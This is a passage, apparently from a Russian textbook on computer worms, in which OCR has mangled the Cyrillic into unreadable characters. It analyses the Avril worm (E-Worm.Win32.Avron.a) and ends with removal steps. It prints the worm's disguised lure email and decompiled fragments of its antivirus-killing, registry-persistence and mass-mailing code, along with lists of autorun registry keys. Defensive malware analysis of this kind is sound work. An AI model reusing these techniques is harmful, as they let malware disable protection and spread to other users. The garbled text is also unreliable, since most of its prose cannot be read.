mepe, st 80% ceTeBbIX U MOUYTOBBIX 4epBeil. OH ysKke ObLI MPOAEMOH-
CTPUPOBAH BBIIIE, IPY OnucaHuu noseaeHus: yepssi Net-Worm. Win32.
Bozori.b, 1o He ruymanuces um 1 Net-Worm.Win32.Sasser, u E-Worm.
Win32.Tanatos, 1 E-Worm.Win32.Netsky, 1 E-Worm.Win32.Sobig, u
E-Worm.Win32.Bagle, u muorue apyrue, Kak «3HaMEHHUTbIE», TaK U Me-
Hee PacIpoCTpaHeHHbIe YEPBU.

Taxxe Hepenko Berpedaerca moaudukama kimoda « HKCR\exefile\
shell\open\commands». ITo ymos4anuio 3HaueHue ITOTO KJoya — «<«%1»
%*», a BOT IpuMep u3MeHeHuil, BHecennbix B Peectp uepsem E-Worm.
Win32.Stator (cm. puc. 6.21):

Pepaktop peectpa = |EI|§|
BeecTp  [paska Bea  MsbpaHnoe  Cnpaska

limMa | Tvn | SHaYEHHE
E‘ﬁ shell (I'Io yromsaHod | REG_SZ  ciloadpe.corm” "% %*
" Er open

4] »

|MOF1 romnstoTepiHKEY _CLASSES _ROOT \exefilelshellopert cammand V]

Puc. 6.21 < IameHeHns B PeecTpe, npon3BeaeHHble YepeMm Stator
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Cpenu Ipyrux depBeil, UCHOJIB3YIONMX ITOT IPUEM, MOXKHO YIIOMsI-
Hyrs E-Worm.Win32.Navidad, E-Worm.Win32.Swen, E-Worm.Win32.
Prettypark u . 11.

Bupycel, opueHTHpOBaHHBIE Ha CYHIECTBOBAHUE WCKIIOUUTEIHHO
B cpene Windows NT, Hepenko nponuchiBaior cebst B kiaoyax « HKLM\
Software\Microsoft\ Windows NT\ CurrentVersion\ Winlogon\userinit»
wm  «HKLM\Software\Microsoft\Windows  NT\CurrentVersion\
Winlogon\shell». Takoe noseserne xapakTepHo JJist 10OBOJBHO «COBpe-
MeHHbIX» ceTeBbIX yepBeit Net-Worm.Win32.Stavron, E-Worm.Win32.
Warezov, E-Worm.Win32.Zhelatin u npounx. HekoTopbie «IpoJBUHY-
Thie» 4epBH, Takue kak Net-Worm.Win32.Aler.a, Net-Worm.Win32.
Kido (on :xe Conficker), E-Worm.Win32.Bagz u npoune, oopmisior
cebs1 B BUJIE CUCTEMHBIX CITy:KG (CEpBUCOB) U JPaiiBEPOB, I YETro CO3-
nator B Peecrpe kimoun « HKLM\System\ CurrentControlSet\Services\
Nmst_corysxObi» U 3al0JTHSIIOT B HUX BCE HEOOXOMMbIE 3HAUEHUSL.

CylllecTBYIOT ¥ JIDyTHE <«OTACHbIe» KJtoun PeecTpa, HCIOJIb3yeMble
BPEOHOCHBIME [TPOTPAMMAaMU JIJIsT 0OECIIEYeHUsT CBOETO AaBTOMATHYECKO-
rO 3allycKa IocJie mnepe3arpy3ku. Bor ux KpaTKuil mepedenp, U3BI€UEH-
HBI U3 TeXHUYECKOU CTaTbH, ONMUCHIBAIONIEH MOBe/eHUe OJHOU U3 paH-
Hux Bepeuii Gpanamayspa Agnitum Outpost Firewall. Bpanamaysp mpu
CBOEM 3aI1yCKe [TPOBEPSLL:

"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ Browser Helper Objects”
"HKCU..." n "HKLM\SOFTWARE\Microsoft\Internet Explorer\Explorer Bars"
"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ RemoteComputer\NameSpace"”
"HKCU..." u "HKLM\SOFTWARE\Microsoft\Internet Explorer\Extensions”
"HKLM\SOFTWARE\Classes\shellex\ContextMenuHandlers”
"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellExtensions\Approved"
"HKLM\Software\Microsoft\Internet Explorer\Toolbar"

"HKCU..." u "HKLM\Software\Microsoft\Internet Explorer\Toolbar\ ShellBrowser"
"HKLM\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser"
"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ SharedTaskScheduler”
"HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ SharedTaskScheduler”
"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ ShellExecuteHooks"
"HKCU..." u "HKLM\SOFTWARE\Microsoft\Internet Explorer\ URLSearchHooks"
"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ ShellServiceObjectDelaylLoad"”
"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce"
"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx"
"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices"
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\ GPExtensions...", Bce
D11Name;

"HKLM\SOFTWARE\Microsoft\Windows NT\ CurrentVersion\ Winlogon\ Notify...", Bce
D11Name;

"HKCU..." u "HKLM\Software\Microsoft\Internet Explorer\MenuExt"
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"HKCR\txtfile.."., u "exefile”, n "comfile”, n "piffile”, u "batfile”, u
“cmdfile”, u “scrfile”, n "regfile... \shell\open..." unu “runas... \command"
"HKLM\SYSTEM\CurrentControlSet\Control\SessionManager\SubSystems\Windows"

6.7. Npumep obHapy>kKeHns, NCCAeA0BaHNS
N YA3AEHUS YepBeS

Jlo uezo ace sxycrozo uepsska 3a6pocuna KaKas-
mo c8010Ub HA YOouKe 6 Imy 3as00b!

A.n B. Crpyratkune. «XuIHbIe BEIN BeKay

PaccMOTpUM OCHOBHBIE TIPHEMbI OGHAPY KEHUS ¥ YIaJCHUS CETEBON «3a-
pasbi» Ha npumMepe dyepBs E-Worm.Win32.Avron.a (M3BeCTHOrO TakiKe
noj, «icesgonnMamu» Avril u Lirva). B nauase 2003 1. ata caMopasMHO-
JKATOTIASICSI TIPOTPAMMA, HATMCAHHAS HEN3BECTHBIM KA3aXCKUM BUPYCOITH-
careJsieM, CyMeJia OpraHu30BaTh BIIOJIHE 3aMETHYO B MUPOBBIX MaciiTabax
SMUIEMHIO U TEM CAMBIM <«IIPOCTABUTL» CTPAHY KOCMOIPOMOB, SIIEPHBIX
MTOJITOHOB, BBICOKOTOPHBIX KATKOB U JABYTOPOBIX BEPOJIIOIOB.

6.7.1. MNMposiBNneHus 4yepes

Ocnosubie cBoiictBa E-Worm.Win32.Avron.a Jierko BBISICHSIOTCSI B pe-
3yJIbTaTe HECTOKHBIX IKCIIEPUMEHTOB.

YepBb MPUXOUT 10 JIEKTPOHHON MOUYTE BHYTPHU ITPUMEPHO BOT TAKOTO
MUChMa:

Subject: Fw: Avril lLavigne - the best

From: Avril Lavigne <avril@avril.com> <- MoppenbHbiit 06paTHbI appec
Reply-To: ACTR/Accels <general@actr.org> <- MoppenbHblit 06paTHbI appec

To: masha-vesnushkina@rambler.ru

Content-Type: multipart/mixed; boundary="--ABCDEF"

This 1s a multipart MIME-coded message

----ABCDEF

Content-Type: text/html; charset="us-ascii”

Content-Transfer-Encoding: quoted-printable

<html><head></head><body>

<h2>Restricted area response team (RART)</h2>

<br><hr>Attachment you sent to Vasya is really good :-) <- MOANUHHbIA NOMUH
<br>Well done!<hr>

<br>SMTP session error #450: service not ready

</body></html>

----ABCDEF

Content-Type: audio/x-wav <- 9kobbl "3BYKOBOW ann”
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Content-Disposition: attachment; filename="Readme.exe” <- PeanbHO - nporpamma
Content-Transfer-Encoding: baset4

TVQQAAMAAAAEAAAA/ /8AALGAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAALAAAAALTUg4AtANNIDGBTMONVGhpcyBwemIncmFtIGNhbm5vdCBiZSBydWAgaWAgREITIG v

AAAAAAAAQUINZA==
----ABCDEF--

OnbITHBINA TJIa3 BUPYycoJiora cpasdy OOHApY/KUBAE€T B HTOM IHChbMe
CTpeMJIeHNEe UCIT0/Ib30BaTh ysa3BuMoctb MS01-020. IIpu mombiTKe 11poc-
TO 03HAKOMUTBCS ¢ TekeToM rnucbhma nporpamma «README.EXE», o-
MellleHHasl BHYTPb B BUJIE BJIOKEHUS, 3AILyCTUTCS aBTOMAaTHYeCKu (ecu
115t paboTHI ¢ OUTOI rcmoab3yercst Outlook «cTapsrx» Bepcwit).

CrapToBaB, 4epBb HEME/JIEHHO PACKJIAIBIBACT CBOM KOIUU CO CIY-
yaitnpiMu umenamu (EXE-daitnbr aumnoit 26 112 6aiiTos, yiiakoBaHHbIE
UPX):

O B cucremnsbiii kKataior (Hanpumep, «C\Windows\SYSTEM» wju

«CA\WInNT\SYSTEM32»);

O B karamor BpeMmenHblx aiiiop (mampumep, <«C:\Windows\
TEMP»);

O B karasorm ynpanenabix ¢aiyioB (#Hanpumep, «D:\RECYCLED.
BIN») Ha Bcex icKaxX KOMITBIOTEPA, B TOM YHCJI€ HA CheMHBIX U Ha
MOJIKJIIOYEHHBIX CETEBBIX.

Kpowme Toro, Ha iucke nogBJISIOTCS

O B katasore omnepanuoHHON cucteMbl (Hampumep, B «C:\Win-
dows») — daiin «LISTRECP.DLL» co ciuckom azpecos, oGHapy-
JKEHHBIX YepBeM;

B KaTtasnore BpeMeHHBIX (aitioB — «<NEWBOOT.SYS» ¢ uepsenm,
3aKOZIMPOBAHHBIM TIpH TToMotnn Base-64/Mime;
1 TaM ke — (haiisi co caydaliHbIM IMEHEM U TEKCTOM «PEKJIAMHOTO»

Xapakrepa:
Author ------ > 2002 (c) Otto von Gutenberg

Made in ----- > Almaty .::]Kazakhstan[::. (:;)--:>
Purpose ----- > Only Educational

Virus name --> AVRIL (please do not change it)
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Bo Bcex Bepcusx Windows uyepsb Mmomubuiupyer Peecrp (cm.
puc. 6.22).

' Pepaxtop peectpa
Peectp Npaeka Bug Cnpaeka
B Metwork ;I MNaparerp | JHadeHuE -
&1 Mis internat. exe "internat.exe"
&1 Palicies LoadPowerProfile "Rundll32.exe powrprof.dil LoadCurrentPwrScheme"
-3 Run ‘M artirmer "CWINDOWSASYS TE M WeFBIBDgo 24 EXE"
{0 Runlrice - ScanFegistny "CAWINDOWS scanregw. exe Aautorun™ |
-0 HunDncgEx S_l,lstemTra_l,l "SypsTray Exe"
-~ RunServices R [3B] T askbonitor "CAWINDO WS raskmon, exe =]
T T Tl [ [ D]
|h-1 oi komnetoTepsHEEY_LOCAL_MACHIMNE S oftwarehMicrosoft\\WindowsSCurentyersion R un VA4

Puc. 6.22 < Moaudukauum PeecTpa,
BbIMOJIHAEMbIE YepBEM Avron

Taxske B Windows 9X on fiomiicsiBaet ctpouky K daitny «<KAUTOEXEC.
BAT»>:

mode con codepage prepare=((866) C:\WINDOWS\COMMAND\ega3.cpi)

mode con codepage select=866

keyb ru,,C:\WINDOWS\COMMAND\keybrd3.sys

@win C:\RECYCLED\1344284h.exe <- 3anyck Windows 9X u 4yepss

3J10BpenHbI Tpolecce He BuaeH B mamatu Windows 9X, Ho jierko 06-
HapysKuBaeTcst mpu momornn Meremxkepa 3agad TASKMGR B Windows
NT. Bor uro «pamopryeT» 10 9TOMY I[OBOJly 3aMmeyaTesbHas yTHJINTA
HiJackThis, koropag cMOTpUT cpasy BO BCe IHOTEHIHAIbHO ONACHBIE
<YTOJIKU»:

Logfile of Trend Micro HijackThis v2.0.2

Running processes

C: \WINDOWS\SYSTEM\KERNEL32.DLL

C: \WINDOWS\EXPLORER. EXE
C:\WINDOWS\SYSTEM\4C6BOE0GG70. EXE

C: \WINDOWS\SYSTEM\WINOA386.MOD
C:\PROGRAM FILES\FAR\FAR.EXE
C: \ANTI\HIJACKTHIS. EXE

04 - HKLM\..\Run: [internat.exe] internat.exe
04 - HKLM\..\Run: [ScanRegistry] C:\WINDOWS\scanregw.exe /autorun
04 - HKLM\..\Run: [TaskMonitor] C:\WINDOWS\taskmon.exe
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04 - HKLM\..\Run: [SystemTray] SysTray.Exe
04 - HKLM\..\Run: [Mortimer] C:\WINDOWS\SYSTEM\cF695Dgc2AA. EXE

End of file - 2071 bytes

WNurepecHo, 4To B MaMITH HAXOIUTCS IPOIECC, CTAPTOBABIIMI U3
aiina «4C6BOE0GG70.EXE», a B Peectpe y:xe nponucan daiin coBcem
C ZIPYTHM MMEHEM — OH OY/IET 3amyIieH TOCe CIeAYIONel mepesarpysKu
Windows.

Haxozsch B maMsATH, 4epBb HECKOILKO 3aMeIIIsieT PaboTy CHCTEMBI, He-
MPEPBIBHO «TPEIfa» BUHYECTEPOM (Y4TO MOKHO OGHAPYIKUTH BU3YAIBHO)
U [OCHLIAST <HAPY/KY» 110 CETU 3aMPOChl Ha MOPT 25 (4TO MOKHO OTCJIe-
JIUThH TIPY TIOMOIIH GPaHIMayopa).

HekoTopble mporpaMmbl, MO3BOJISIONINE <YBHUIETh> U YAAJIUTH dYep-
BsT, — AHTUBUPYCHI, OPaHIMAydPbl, CUCTEMHbBIE YTUINTHI, — TPU AKTHBHOM
YepBe IepecTaroT 3aIyCKaThCs UM BHE3AITHO «BBIJIETAIOT>.

Hy wn nakowner, siBa pasa B Mecs1] — 7-ro 1 24-T0 4ucja — 4YepBb HauMHa-
eT 6ecCrCTEMHO MepPeMEIaTh Kypcop Ha 9KpaHe U HEMPEPHIBHO 3ayCKaTh
Internet Explorer, nbitasgch sanestb Ha WW W-cTpanndky http://www.
avril-lavigne.com, — HasmIo riy6oKue SpOTHYECKIE MEPEKMBAHNST aBTO-
pa 4epBs 110 MMOBOJLY TIpeJiecTell KaHaJCKON 1eBuIlbl ABpuJ JIaBuH.

HenarpuoruuHo 3a6biBath 11po Posy Peimbaesy u rpymiy A-Cryauo,
TOCITOJITH Ka3aXCKUIl BUPYCOITUCATETb!

6.7.2. AHanu3 anroputma padoOTbI

bonee KOHKpPETHbIE CBEICHUA 06 YCTpOfICTBe 1 MMOBa/IKax 4€pBsA MOYKHO
TMOJIyYNThb, UCITOJIb30BaB YTUJIMTbI-PACITAKOBIINKHA, OTJIA/TYNK, [[I/ISaCCeM6-
Jiep, IEKOMITUJIATOP H... sapaan‘/’I CMBICJI, ITO3BOJISTIONIUN JJOBOJIBHO npun-
6]II/ISI/IT6]II)HO, HO CO BIIOJIHE JIOCTATOYHON JIJIsI aHaJIn3a AOCTOBEPHOCTDBIO
BOCCTAaHOBUTDH UCXOAHbIEC TEKCTbI €TO (bpaI‘MeHTOB.

6.7.2.1. Yemanoexa 6 namamu

OO0111ast CTPYKTypa rOJIOBHOTO MOJIYJISI TIO3BOJISIET TIPOCTIEANTH 3a J€eli-
CTBUSIMU Y€PBS TIPU YCTAHOBKE B TTAMSITH.

if (OpenMutexA(0, 1, "Avril Lavigne")) { // Ecnu Takoil MbiTeKC yxe ecTb

me = GetCurrentProcess(); // MonyunTb cBoit ID
TerminateProcess(me, 0); // 3aBepunTbcs

}

else CreateMutexA(mu, 1, "Avril Lavigne™); // WHade - co3gaTb Takoil MblTeKC

InitializeCriticalSection(é&cs); // Co3paTb CUHXPOHM3MPYIOWMIA 00bEKT
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if ( 'WSAStartup(0x101, &nw ) { // TonbTaTbCA MHMLMANU3NPOBATL CETb

CreateThread(0, 0, Sub_SendM, 0, 0, &t1); // TOTOK pPasMHOXEHWs MO No4Te
CreateThread(0, 0, Sub_FindAdr, 0, 0, &t2); // MoTOK noucka MOYTOBLHX aApEcoB
CreateThread(0, 0, Sub_SetReg, 0, 0, &t3); // NoTtok moandukaumn PeecTpa
CreateThread(0, 0, Sub_FightAV, 0, 0, &t4); // NoTok 6opbbb C aHTUBMPYCAMU
while ( 1 ); // 3aunknuTbCcs U NOBUCHYTL" B NaMmsaTu

}

AHaTM3UPYst 9TOT (PparMeHT, MOSKHO IPUITH K BBIBO/LY, YTO CYIIECTBY-
€T BO3MOYKHOCTb <«BaKIIMHUPOBATh» IAMITh KOMIIbIOTEpA — 3aIyCTHUTb
Ge3BpeIHbI IIPOIIeCe, CO3AAIONIIIT MploTeKC ¢ nMeHeM «Avril Lavignes.
YepBb HA TAKOM KOMITBIOTEPE TIPOCTO OTKAKETCS PabOTaTh.

Kpome Toro, 4epBb BBITIOJIHSIET CBOU JEHCTBUsT B GECKOHEUHOM IHKJIE
YETHIPHMST TTAPAJIIETBHO PAOOTAIOIIUMHU TTIOTOKAMU. JIJIsT CHHXPOHU3AIINT
paboTHI HTUX MOTOKOB (HAPUMEP, YTOOBI JBA MOTOKA HE TIHITAIUCH OIHO-
BPEMEHHO OTKPBITh OUH M TOT K€ (hailT) OH TTOJIb3YETCS MEXaHU3MOM
«KPUTUYECKUX CEKIIUII».

6.7.2.2. Bopvba ¢ anmusupycamu

MeTOZ[bI, HCIIOJIb3yEMbI€ YEPBEM [JIA 60pb6b1 C aHTUBUPYCaMU, OY€Hb
TOY4YHUTEJIbHbI. @DakTuueckn AHTUBUPYCbI CaMM HCITOJIb3YIOT HEYTO I10-
I[O6HO€ JJIA O6Hapy>KeHI/IH N YHUYTOKREHUSA BPEIOHOCHDBIX ITPOIECCOB.

[Ipexie Bcero 4epBb MpU TOMOIIN CUCTEMHOTO BbI3oBa «GetVersion-
ExA» onpenensier Tekyniyio Bepcrio Windows u reHepupyer TeKCTOBYIO
CTPOKY C MME€HEM OHepaI_lI/IOHHOfl CHUCTEMDI, a 3aTE€M HCIIOJb3YET €€ [JId
Bbl60pa HCIIOJIb3YEMOT'O METOZla CKaHNPOBaHM A ITPOIECCOB!:
sub_GetVers(); // Onpepenerne umern Bepcun Windows
if ( strstr(Str, "Win9X") ) sub_Fight9Xx()

else sub_FightNT()
if ( strstr(Str, "Win9X") ) RegisterServiceProcess(0, 1); // "CnpaTaTbca” B namaTu

B oneparnonnsix cucremax cemeiicrsa Windows 9X mepeuncienue
TIPOIECCOB U yAa/IeHNE TeX N3 HUX, KTO UMEET «aHTUBUPYCHOE» UM, BbI-
TOJTHSIETCST CTEMYIOMNM 00Pa3oM:

BOOL sub_Fight9aX() (
HANDLE h2, h4;
PROCESSENTRY32 pe;
h2 = CreateToolhelp32Snapshot(2, 0)
pe.dwSize = 296
if ( Process32First(h2, &pe) ) {
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do {
if (sub_BadName(pe.szExeFile))&& // Wvg ecTb B cnucke?
(pe.th32ProcessID!=GetCurrentProcessId()) { // Tonbko He cebs
h4 = OpenProcess(0x1FOFFF, 0, pe.th32ProcessID); // MonyuyuTs ID aHTuBMpyCa
TerminateProcess(h4, 0); // 3aBepunTb aHTUBMPYC
CloseHandle(h4);
}
}
}
while ( Process32Next(h2, &pe) );
}
return CloseHandle(h2);
}

AHnanornynbiii ¢pparmenT, opueHTrpoBanubiii Ha Windows NT, mepe-
YIICJISIET HE CAMU TIPOIIECCHI, & OKHA ITPOIIECCOB!

BOOL sub_FightNT() {
return EnumWindows(EnumFunc(), 0); // NepeyncnnTb okHa

}

int EnumFunc(HWND a1, LPARAM a2) {
HWND h;

DWORD 1d;

char s[OxFFT;

GetWindowTextA(al, s, OxFF); // 3aronoBok OkHa
if (sub_BadName(s)) { // Mg ecTb B cnncke?
GetWindowThreadProcessId(al, &id); // ID moToka, CO34aBWLEro OKHO
if ( 1d !'= GetCurrentProcessId() ) ¢ // Tonbko He ceba
h = OpenProcess(0x1FOFFF, 0, id); // Nony4utb ID aHTuBMpPYCa
TerminateProcess(h, 0); // 3aBepumnTb aHTUBMPYC
CloseHandle(h);
}
}
return 1;

}

Ocraercs 106aBuTh, uto hyHKIMst «sub_BadName» nbitaercs Haiitu
uMs TIpoliecca WM 3arojioBKa OKHA B OTPOMHOM (OKOJIO COTHU CTPOK)
CIIMCKE, co/iepsKallleM MMeHa aHTUBMPYCOB M CHCTEMHBIX YTUJIUT, THIIA
«AVP32.EXE», «OUTPOST.EXE», «TBSCAN.EXE», «<F-PROT.EXE>»,
«REGEDIT.EXE» u 1. . Takum 06pa3oM, aHTUBUPYCHBII IIpoIlecc, 3a-
MYIIEHHBIN OCJE YepBsl, C BBICOKOI /10J1eil BEPOSTHOCTH GyIeT «yOuT>.
BripoueM, aHTUBUPYCHBIE MOHUTOPBI 0OBIYHO O(HOPMIISIIOTCS B BUJIE BUP-
TYaJIbHBIX IPAIBEPOB, /IS OMCKA 3aIyIEHHBIX POIECCOB 0OPAIIAIOTCS
He K CepBHCaM 3-TO KOJIbI[A 3AIUTHI, & HATTPSIMYTO K CJIYKeOHBIM CITHCKAM
OTIEPAIIMOHHOM CUCTEMBI, [I09TOMY OHU BCET/Ia <CTPEJISAIOT TIEPBLIMUS.
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6.7.2.3. Moouduxauus Peecmpa

IIJIH TOTO ‘{TO6bI TONIYYUTD yIIpaBJI€eHHE TTOCJIEC TIEpe3arpy3Ku oleparim-
OHHOII cucTeMbI, 4YepBb Mosinuriupyet Peectp, npuyem jenaer aTo B OT-
JIC€JIbHOM 3allMKJICHHOM ITIOTOKE:
void __stdcall sub_SetReg(LPVOID al) { // MapameTp — NyTb ¥ UMSA KOMUW 4epBs

char =Dest; HKEY hKey;

sprintf( Dest, "%s”, al);

while (1)

RegCreateKeyA(HKEY_LOCAL_MACHINE,
"Software\\Microsoft\\Windows\\CurrentVersion\\Run", &hKey);

RegSetValueExA(hKey, "Mortimer™, 0, 1, &Dest, 0x400);

}

ITO O3HAYAET, YTO MPHU HAXOMAIIEMCS B TAMSITH 4epBe, CKOJIBKO HU
ybupaii u3 Peecrpa cTpouKy aBTO3aIlyCKa, OHa KayK/IbIi pa3 Oy/er HosB-
JIATHCS BHOBb.

6.7.2.4. Iloucx aodpecos

DJIEKTPOHHBIE ajIpeca, Ha KOTOPbIe IVIAHIPYETCST CAMOPACCHLIKA, YEPBb
YyepriaeT u3 JAByX UCTOYHIKOB.

Bo-niepsbix, o# B BetBu Peectpa «HKCU\Software\Microsoft\ WAB\
Wab File Name» mibITaercst 0OHapyKUTh IyTh K aJIpECHON KHUTE TEKYyIIe-
ro noJb3osatesisa. Ecin WAB-daiin oGHapysKeH, 4epBb U3BJIEKAET U3 HETO
AJIEKTPOHHBIE ajipeca aboHeHTOB. KcTatu, B onepainoOHHbIX CHCTEMAX, Ha-
yunasg ¢ Windows XP, nuckombie cegennss 0 WAB-daiise pacnonosxkeHb
HEMHOJKKO B JIPYTOM MECT€, TaK UTO JIAHHBIH aJITOPUTM YCIIEXOM He YBEH-
JaeTcs.

Bo-BTOpbIX, 4ePBb PEKYPCUBHO CKAHUPYET KATAJIOTU BCEX JOCTYIHBIX
JIMCKOB, OCTaHABJIWBas CBOEe BHUMaHWe Ha (ailyiax ¢ paciiupeHus MU
«.DBX», «. HTM», «. EML» n npounx. B aux uyrcs andautHo-ninudpo-
Bble (DpPArMEeHTBI C CUMBOJIOM «@>» B cepe/IiTHe — OHY CYUTAIOTCS a/IpecaMu
abOHEHTOB.

Bce naiizennbie agipeca sanucpiBatorcs B aiis « LISTRECP.DLL».

6.7.2.5. Pacnpocmpanenue no 3neKkmpoHHOU noume

ITrcbMa ¢ BUPYCHBIM BJIOKEHUEM PACIIPOCTPAHSIOTCS B GECKOHEYHOM
IUKJIE TIPU MTOMOIIH OT/ETBHOTO MOTOKA. TaK KaK PacchlIKa MMOYTHI 3aITyC-
KaeTcst JI0 IIOUCKA aJIPeCOB, TO:

O 1OTOK PacChIIKH Tepel HadyagioM paboThl 3aepsKuBaeTCst Ha 7 ce-

KYH];
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O g CMHXPOHUM3AIMY UCIIOJb3YeTCS MEXaHU3M «KPUTHYECKUX CEK-
U,

void StartAddress(LPVOID al1) {
struct hostent =v1;

char =at[]; // Tabnuua afpecos npedukcos
char a[]; // CTpoka o4epeaHoro aapeca
Sleep(0x1B58); // 3apepxka Ha 7000 mc
while (1)

do {

EnterCriticalSection(&CriticalSection)
LeaveCriticalSection(&CriticalSection)

} while ( found > sent ); // Tloka He nosBUTCS HOBLIA aapec
EnterCriticalSection(&CriticalSection)
strepy(a, adresses[sent++]); // Tpo4uTaTb HOBbIA aapec
LeaveCriticalSection(&CriticalSection)
sub_BuildN(a); // CreHepupoBaTb WMg cepsepa M -> "sn”
while ( =at ) { // Appec Tabnunubl npedukcos
sprintf(name, "%s%s", *v2, sn); // CreHepvpoBaThb BapuaHT WMeHM cepsepa
v1 = sub_TryConn(name); // NonbiTaTbCs MOAKMOYUTLCA K CepBepy
++at;
if ( vl ) sub_SendMail(a); // CepBep OTBETWUN — NOCNATb MUCHMO

Urak, u3 daiima «<LISTRECP.DLLy cunTbiBaeTcs odepeaHoii amapec,
W eTOo TIPaBasi 4acTh, PACTIOJIOKEHHAS TTOCIe CUMBOJIA «@», UCIIOTh3yeT-
cst s (OpMUPOBAHUS THUTIOTETUYECKOTO MMEHU TIOYTOBOTO CepBepa.
Hanpumep, us agpeca «masha-vesnushkina@rambler.ru» npu momoru
PasINYHBIX TPEUKCOB TIONyJYaTcs Ba BapuaHTa MMEHH cepBepa: mail.
rambler.ru u smtp.rambler.ru. /Tajsee mpu MOMOIIN CUCTEMHON (BDYHKIIUT
«gethostbyname» npoussoanTcs nonbiTka onpeneauts IP-aapec cepse-
pa, U ecJiv OHa yJIauHa, TO YePBb COEIUHSIETCST C HTUM CEPBEPOM U TIOCHI-
JIaeT Ha Hero 3JIeKTPOHHOE MUCHhMO 10 mpoctoMy rpotokosy SMTP, ne
TpebytoleMy ayTeHTH()UKAIINH.

Bo3MoskHBI pa3/imuHble BApUAHTHI OPraHu3aIuy mucbMa. B yactHocTH,
YePBb CIYIalHBIM 0OPa3OM — 13 OOJIBIIOTO CIIMCKA — BRIOMPAET 3ar0JI0BOK,
TEJIO MUChMa, 00paTHBIN azpec, nMs (aiiia Brosxkenus u T. 1. He Gpesryer
OH U 3JIEMEHTaMU COIMAIbHON MHKEHEPHH: CTIOCOOEH IIPOYUTATH B BETBU
Peecrpa «<HKLM\Software\Microsoft\ Windows\ CurrentVersion» ums
0JIb30BaTE I 3apakeHHOI MatnHbl (Kiaou «RegisteredOwner») 1 BcTa-
BUTb €TO B TEKCT TTUCHMA.

6.7.3. MeToabl yaaneHus

Ananus «suyTtpennocteit» uepsst E-Worm.Win32.Avron.a mokasais, 4To
CTIPABUTLCS C HUM OYEHb JIETKO. YIAJIUTh €T0 ¢ KOMITBIOTEPa MOXKHO OYK-
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BaJIbHO «TOJIBIMU pyKamu». Kpome Toro, 3HaHuii u yMeHuUid, MOJydeHHbIX
gyuTaTeJIeM K 9TOMY MOMEHTY, BIIOJIHE XBATUT, YTOOBI CAaMOCTOATEIHHO
HAIKCATh HECJIOKHYIO aHTUBUPYCHYIO Tiporpammy. [locienosatesnbHoCTb
JIeICTBUI IPUMEPHO TaKOBA:

Q npeaBapuUTENBHO U3YYUTh KOJ M BBIOPATh CUTHATYDPY, HAIPUMED
8 GaiiToB «75 2C 2A 65 07 BA 37 6C», paciiosioskeHHbIX 110 (haiiio-
Bomy cmentenuio 1000h?;

O mnepeuncauth Bee mpoiecchl B namsitu (B Windows 9X mpu 1o-
moriu «Process32First» /> Process32Next», a B Windows NT mpu
nomomy «ZwQuerySystemInformations), conocTaBuTh KaskaoMy
u3 HuX Qaiis, u3 KOTOPOTO OH CTAPTOBAJ, U, MOJb3YSICh METOIOM
CpaBHEHWS CUTHATYP, ONIPe/eJIUTh TOT IIPOIIECC, KOTOPbII COOTBET-
CTBYET Y€pPBIO;

O npuHyIUTESBHO 3aBEPIIUTHh ITOT Mpollecc (TEXHUKY 3aBepiie-
HUsI TIPOIIe BCETO TOACMOTPETh y camoro 4depsi Worm.Win32.
Avron.a);

O mnpockanuposath Bee kiaoun B BeTBu « HKLM\Software\...\Run»,
COINOCTABUTD KAXKIOMY KJIIOYY 3aIlyCKAeMblil [IPU MOMOIIM HETO
IPOTrpaMMHbIi (Al U, 10JIb3ysICh METOZIOM CPABHEHUS CUTHATYP,
OIIPe/IeJIUTh TOT KJII0Y, KOTOPbIiI COOTBETCTBYET YePBIO;

VIAJIUTD ITOT KITIOY;

HAKOHeIl, TPOCKAaHUPOBATh Bce ucku (1pexe Bcero C:) U y1aiuTh
BCe IIporpaMMHble (aiiyibl, CATHATYPA KOTOPbIX COBIIA/AET C CUTHA-
TYypOIl uepBs;

O mnanocaenok yaanurb daitibl «<NEWBOOT.SYS» u «LISTRECP.
DLL».

[Tpu Hanucanum TaKOro AHTUBUPYCA MPUAETCS PELIaTh PsiJi TUTIOBBIX
3aj1a4 — PEKYPCUBHBINA 00X0/ KATalI0r0B, CKAHMPOBAHKE TTAMSTH, paboTa
¢ Peecrpowm, nouck curnartyp B aiisiax u T. . IntepecHo, 4To cyiecT-
BYIOT aHTUBUPYCHI-IIOJYABTOMATBI», KOTOPBIE PEANU3YIOT MOAOOHBIE
3a/laui B BUJIE TIPOTPAMMHBIX «KyOMKOB» U MPEAOCTABISAIOT T10JIb30Ba-
TEJI0 BO3MOKHOCTh CaMOCTOSITEIbHO CKOMIIJIEKTOBATh M3 HUX HabOp
AHTUBUPYCHBIX MPOTIEAYP /s KOHKpeTHOTO Bupyca. B 1990-x rogax Ta-
KIMU <110J1yaBToMatamuy» 01 MultiScan B. Konecuukosa u AVSP A.
Bopucosa, a B 9110Xy ceTeBbIX YepPBeil U TPOSTHCKUX ITPOrPAMM IHUPOKYIO
U3BECTHOCTD [OJYYII O4eHb yA00HbIi anTuBupyc AVZ O. 3aiinesa (cM.
puc. 6.23).

©0

! B ToYKe BXO/Ia CUTHATYPY BHIOUPATh HEJIb3s1, TaK Kak (hailsl yIakoBaH 1 HAYaJIo

KO/[a 3aB€/IOMO IPUHA/JIEIKUT PACITAKOBIIUKY.
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IT10 HABOP MOIHBIX AHTHUBUPYCHBIX UHCTPYMEHTOB, OOBEANHEHHDIX
o1 Kpbiiiei oiHoN yTruThbl. OH MO3BOJISET TIPOCKAHUPOBATH IUCKH, T1a-
MSATb U KOH(PUTYypAIMOHHBIE (hailibl KOMIBIOTEPA KaK B aBTOMATHYECKOM
